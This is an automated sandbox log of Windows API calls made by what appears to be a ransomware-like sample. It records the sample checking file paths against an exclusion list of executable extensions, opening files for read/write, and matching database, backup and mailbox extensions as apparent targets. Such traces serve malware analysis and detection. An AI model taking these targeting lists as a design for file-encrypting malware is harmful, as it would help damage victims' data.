	[0082.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf", lpSrch=".msc") returned 0x0
	[0082.663] lstrlenW (lpString=".com") returned 4
	[0082.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf", lpSrch=".com") returned 0x0
	[0082.663] lstrlenW (lpString=".lnk") returned 4
	[0082.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf", lpSrch=".lnk") returned 0x0
	[0082.663] lstrlenW (lpString=".msp") returned 4
	[0082.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf", lpSrch=".msp") returned 0x0
	[0082.663] lstrlenW (lpString=".pif") returned 4
	[0082.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf", lpSrch=".pif") returned 0x0
	[0082.663] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf", lpSrch="msp\r\n.pif") returned 0x0
	[0082.663] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\music.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.664] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fc8d0 | out: hHeap=0x300000) returned 1
	[0082.664] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fc080 | out: hHeap=0x300000) returned 1
	[0082.664] RtlWakeConditionVariable () returned 0x365f70
	[0082.664] GetCurrentThreadId () returned 0x9cc
	[0082.664] GetCurrentThreadId () returned 0x9cc
	[0082.664] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7c30
	[0082.664] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e78e8 | out: hHeap=0x300000) returned 1
	[0082.664] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b28d0 | out: hHeap=0x300000) returned 1
	[0082.664] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e78e8
	[0082.664] lstrlenW (lpString=".scr") returned 4
	[0082.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg", lpSrch=".scr") returned 0x0
	[0082.664] lstrlenW (lpString=".cmd") returned 4
	[0082.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg", lpSrch=".cmd") returned 0x0
	[0082.664] lstrlenW (lpString=".dll") returned 4
	[0082.665] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg", lpSrch=".dll") returned 0x0
	[0082.665] lstrlenW (lpString=".bat") returned 4
	[0082.665] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg", lpSrch=".bat") returned 0x0
	[0082.665] lstrlenW (lpString=".cpl") returned 4
	[0082.665] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg", lpSrch=".cpl") returned 0x0
	[0082.665] lstrlenW (lpString=".sys") returned 4
	[0082.665] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg", lpSrch=".sys") returned 0x0
	[0082.665] lstrlenW (lpString=".msc") returned 4
	[0082.665] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg", lpSrch=".msc") returned 0x0
	[0082.665] lstrlenW (lpString=".com") returned 4
	[0082.665] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg", lpSrch=".com") returned 0x0
	[0082.665] lstrlenW (lpString=".lnk") returned 4
	[0082.665] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg", lpSrch=".lnk") returned 0x0
	[0082.665] lstrlenW (lpString=".msp") returned 4
	[0082.665] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg", lpSrch=".msp") returned 0x0
	[0082.665] lstrlenW (lpString=".pif") returned 4
	[0082.665] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg", lpSrch=".pif") returned 0x0
	[0082.665] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.665] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg", lpSrch="msp\r\n.pif") returned 0x0
	[0082.665] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.666] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e78e8 | out: hHeap=0x300000) returned 1
	[0082.666] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7c30 | out: hHeap=0x300000) returned 1
	[0082.666] RtlWakeConditionVariable () returned 0x365f70
	[0082.666] GetCurrentThreadId () returned 0x9cc
	[0082.666] GetCurrentThreadId () returned 0x9cc
	[0082.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0082.666] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a49a0 | out: hHeap=0x300000) returned 1
	[0082.666] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2908 | out: hHeap=0x300000) returned 1
	[0082.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a49a0
	[0082.667] lstrlenW (lpString=".scr") returned 4
	[0082.667] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm", lpSrch=".scr") returned 0x0
	[0082.667] lstrlenW (lpString=".cmd") returned 4
	[0082.667] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm", lpSrch=".cmd") returned 0x0
	[0082.667] lstrlenW (lpString=".dll") returned 4
	[0082.667] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm", lpSrch=".dll") returned 0x0
	[0082.667] lstrlenW (lpString=".bat") returned 4
	[0082.667] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm", lpSrch=".bat") returned 0x0
	[0082.667] lstrlenW (lpString=".cpl") returned 4
	[0082.667] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm", lpSrch=".cpl") returned 0x0
	[0082.667] lstrlenW (lpString=".sys") returned 4
	[0082.667] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm", lpSrch=".sys") returned 0x0
	[0082.667] lstrlenW (lpString=".msc") returned 4
	[0082.667] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm", lpSrch=".msc") returned 0x0
	[0082.667] lstrlenW (lpString=".com") returned 4
	[0082.667] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm", lpSrch=".com") returned 0x0
	[0082.667] lstrlenW (lpString=".lnk") returned 4
	[0082.667] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm", lpSrch=".lnk") returned 0x0
	[0082.667] lstrlenW (lpString=".msp") returned 4
	[0082.667] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm", lpSrch=".msp") returned 0x0
	[0082.667] lstrlenW (lpString=".pif") returned 4
	[0082.667] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm", lpSrch=".pif") returned 0x0
	[0082.667] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.667] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm", lpSrch="msp\r\n.pif") returned 0x0
	[0082.668] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.668] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a49a0 | out: hHeap=0x300000) returned 1
	[0082.668] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6470 | out: hHeap=0x300000) returned 1
	[0082.668] RtlWakeConditionVariable () returned 0x365f70
	[0082.668] GetCurrentThreadId () returned 0x9cc
	[0082.668] GetCurrentThreadId () returned 0x9cc
	[0082.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7c30
	[0082.668] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6e68 | out: hHeap=0x300000) returned 1
	[0082.668] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2940 | out: hHeap=0x300000) returned 1
	[0082.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0082.668] lstrlenW (lpString=".scr") returned 4
	[0082.668] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg", lpSrch=".scr") returned 0x0
	[0082.668] lstrlenW (lpString=".cmd") returned 4
	[0082.668] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg", lpSrch=".cmd") returned 0x0
	[0082.668] lstrlenW (lpString=".dll") returned 4
	[0082.668] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg", lpSrch=".dll") returned 0x0
	[0082.668] lstrlenW (lpString=".bat") returned 4
	[0082.668] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg", lpSrch=".bat") returned 0x0
	[0082.668] lstrlenW (lpString=".cpl") returned 4
	[0082.668] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg", lpSrch=".cpl") returned 0x0
	[0082.668] lstrlenW (lpString=".sys") returned 4
	[0082.669] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg", lpSrch=".sys") returned 0x0
	[0082.669] lstrlenW (lpString=".msc") returned 4
	[0082.669] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg", lpSrch=".msc") returned 0x0
	[0082.669] lstrlenW (lpString=".com") returned 4
	[0082.669] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg", lpSrch=".com") returned 0x0
	[0082.669] lstrlenW (lpString=".lnk") returned 4
	[0082.669] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg", lpSrch=".lnk") returned 0x0
	[0082.669] lstrlenW (lpString=".msp") returned 4
	[0082.669] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg", lpSrch=".msp") returned 0x0
	[0082.669] lstrlenW (lpString=".pif") returned 4
	[0082.669] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg", lpSrch=".pif") returned 0x0
	[0082.669] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.669] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg", lpSrch="msp\r\n.pif") returned 0x0
	[0082.669] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.669] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6e68 | out: hHeap=0x300000) returned 1
	[0082.669] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7c30 | out: hHeap=0x300000) returned 1
	[0082.669] RtlWakeConditionVariable () returned 0x365f70
	[0082.669] GetCurrentThreadId () returned 0x9cc
	[0082.670] GetCurrentThreadId () returned 0x9cc
	[0082.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7c30
	[0082.670] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7990 | out: hHeap=0x300000) returned 1
	[0082.670] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2978 | out: hHeap=0x300000) returned 1
	[0082.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7990
	[0082.670] lstrlenW (lpString=".scr") returned 4
	[0082.670] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm", lpSrch=".scr") returned 0x0
	[0082.670] lstrlenW (lpString=".cmd") returned 4
	[0082.670] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm", lpSrch=".cmd") returned 0x0
	[0082.670] lstrlenW (lpString=".dll") returned 4
	[0082.670] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm", lpSrch=".dll") returned 0x0
	[0082.670] lstrlenW (lpString=".bat") returned 4
	[0082.670] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm", lpSrch=".bat") returned 0x0
	[0082.670] lstrlenW (lpString=".cpl") returned 4
	[0082.670] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm", lpSrch=".cpl") returned 0x0
	[0082.670] lstrlenW (lpString=".sys") returned 4
	[0082.670] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm", lpSrch=".sys") returned 0x0
	[0082.671] lstrlenW (lpString=".msc") returned 4
	[0082.671] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm", lpSrch=".msc") returned 0x0
	[0082.671] lstrlenW (lpString=".com") returned 4
	[0082.671] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm", lpSrch=".com") returned 0x0
	[0082.671] lstrlenW (lpString=".lnk") returned 4
	[0082.671] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm", lpSrch=".lnk") returned 0x0
	[0082.671] lstrlenW (lpString=".msp") returned 4
	[0082.671] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm", lpSrch=".msp") returned 0x0
	[0082.671] lstrlenW (lpString=".pif") returned 4
	[0082.671] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm", lpSrch=".pif") returned 0x0
	[0082.671] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.671] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm", lpSrch="msp\r\n.pif") returned 0x0
	[0082.671] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.734] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7990 | out: hHeap=0x300000) returned 1
	[0082.734] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7c30 | out: hHeap=0x300000) returned 1
	[0082.734] RtlWakeConditionVariable () returned 0x365f70
	[0082.734] GetCurrentThreadId () returned 0x9cc
	[0082.735] GetCurrentThreadId () returned 0x9cc
	[0082.735] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fca98
	[0082.735] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcbc8 | out: hHeap=0x300000) returned 1
	[0082.735] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3a70 | out: hHeap=0x300000) returned 1
	[0082.735] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fcbc8
	[0082.735] lstrlenW (lpString=".scr") returned 4
	[0082.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg", lpSrch=".scr") returned 0x0
	[0082.735] lstrlenW (lpString=".cmd") returned 4
	[0082.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg", lpSrch=".cmd") returned 0x0
	[0082.735] lstrlenW (lpString=".dll") returned 4
	[0082.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg", lpSrch=".dll") returned 0x0
	[0082.735] lstrlenW (lpString=".bat") returned 4
	[0082.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg", lpSrch=".bat") returned 0x0
	[0082.735] lstrlenW (lpString=".cpl") returned 4
	[0082.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg", lpSrch=".cpl") returned 0x0
	[0082.735] lstrlenW (lpString=".sys") returned 4
	[0082.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg", lpSrch=".sys") returned 0x0
	[0082.735] lstrlenW (lpString=".msc") returned 4
	[0082.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg", lpSrch=".msc") returned 0x0
	[0082.735] lstrlenW (lpString=".com") returned 4
	[0082.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg", lpSrch=".com") returned 0x0
	[0082.735] lstrlenW (lpString=".lnk") returned 4
	[0082.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg", lpSrch=".lnk") returned 0x0
	[0082.748] RtlWakeConditionVariable () returned 0x365f70
	[0082.748] GetCurrentThreadId () returned 0x9cc
	[0082.748] GetCurrentThreadId () returned 0x9cc
	[0082.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4830
	[0082.749] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a55d8 | out: hHeap=0x300000) returned 1
	[0082.749] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fad28 | out: hHeap=0x300000) returned 1
	[0082.749] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a55d8
	[0082.820] RtlWakeConditionVariable () returned 0x365f70
	[0082.820] GetCurrentThreadId () returned 0x9cc
	[0082.820] GetCurrentThreadId () returned 0x9cc
	[0082.820] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.820] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fccf8 | out: hHeap=0x300000) returned 1
	[0082.820] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a1f08 | out: hHeap=0x300000) returned 1
	[0082.820] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fccf8
	[0083.034] lstrlenW (lpString=".sqb") returned 4
	[0083.034] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".sqb") returned 0x0
	[0083.034] lstrlenW (lpString=".ost") returned 4
	[0083.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".ost") returned 0x0
	[0083.035] lstrlenW (lpString=".txt") returned 4
	[0083.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".txt") returned 0x0
	[0083.035] lstrlenW (lpString=".mdt") returned 4
	[0083.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".mdt") returned 0x0
	[0083.035] lstrlenW (lpString=".BDB") returned 4
	[0083.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".BDB") returned 0x0
	[0083.035] lstrlenW (lpString=".eql") returned 4
	[0083.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".eql") returned 0x0
	[0083.035] lstrlenW (lpString=".DBF") returned 4
	[0083.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".DBF") returned 0x0
	[0083.035] lstrlenW (lpString=".EQL") returned 4
	[0083.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".EQL") returned 0x0
	[0083.035] lstrlenW (lpString=".FDB") returned 4
	[0083.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".FDB") returned 0x0
	[0083.035] lstrlenW (lpString=".EDB") returned 4
	[0083.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".EDB") returned 0x0
	[0083.035] lstrlenW (lpString=".DACPAC") returned 7
	[0083.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".DACPAC") returned 0x0
	[0083.035] lstrlenW (lpString=".VHD") returned 4
	[0083.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".VHD") returned 0x0
	[0083.035] lstrlenW (lpString=".DBV") returned 4
	[0083.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".DBV") returned 0x0
	[0083.035] lstrlenW (lpString=".dacpac") returned 7
	[0083.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".dacpac") returned 0x0
	[0083.036] lstrlenW (lpString=".sdf") returned 4
	[0083.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".sdf") returned 0x0
	[0083.036] lstrlenW (lpString=".accdb") returned 6
	[0083.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".accdb") returned 0x0
	[0083.036] lstrlenW (lpString=".DBX") returned 4
	[0083.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".DBX") returned 0x0
	[0083.036] lstrlenW (lpString=".MDT") returned 4
	[0083.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".MDT") returned 0x0
	[0083.036] lstrlenW (lpString=".SQB") returned 4
	[0083.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".SQB") returned 0x0
	[0083.036] lstrlenW (lpString=".vhd") returned 4
	[0083.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".vhd") returned 0x0
	[0083.036] lstrlenW (lpString=".bac") returned 4
	[0083.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".bac") returned 0x0
	[0083.036] lstrlenW (lpString=".mdf") returned 4
	[0083.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".mdf") returned 0x0
	[0083.036] lstrlenW (lpString=".BAK") returned 4
	[0083.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".BAK") returned 0x0
	[0083.036] lstrlenW (lpString=".BAC") returned 4
	[0083.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".BAC") returned 0x0
	[0083.036] lstrlenW (lpString=".dbs") returned 4
	[0083.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".dbs") returned 0x0
	[0083.036] lstrlenW (lpString=".vhdx") returned 5
	[0083.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".vhdx") returned 0x0
	[0083.036] lstrlenW (lpString=".NDF") returned 4
	[0083.037] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".NDF") returned 0x0
	[0083.037] lstrlenW (lpString=".dat") returned 4
	[0083.037] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".dat") returned 0x0
	[0083.037] lstrlenW (lpString=".DBS") returned 4
	[0083.037] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".DBS") returned 0x0
	[0083.037] lstrlenW (lpString=".CKP") returned 4
	[0083.037] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".CKP") returned 0x0
	[0083.037] lstrlenW (lpString=".edb") returned 4
	[0083.037] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".edb") returned 0x0
	[0083.037] lstrlenW (lpString=".PST") returned 4
	[0083.037] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".PST") returned 0x0
	[0083.037] lstrlenW (lpString=".dbf") returned 4
	[0083.037] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".dbf") returned 0x0
	[0083.037] lstrlenW (lpString=".SQL") returned 4
	[0083.037] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv", lpSrch=".SQL") returned 0x0
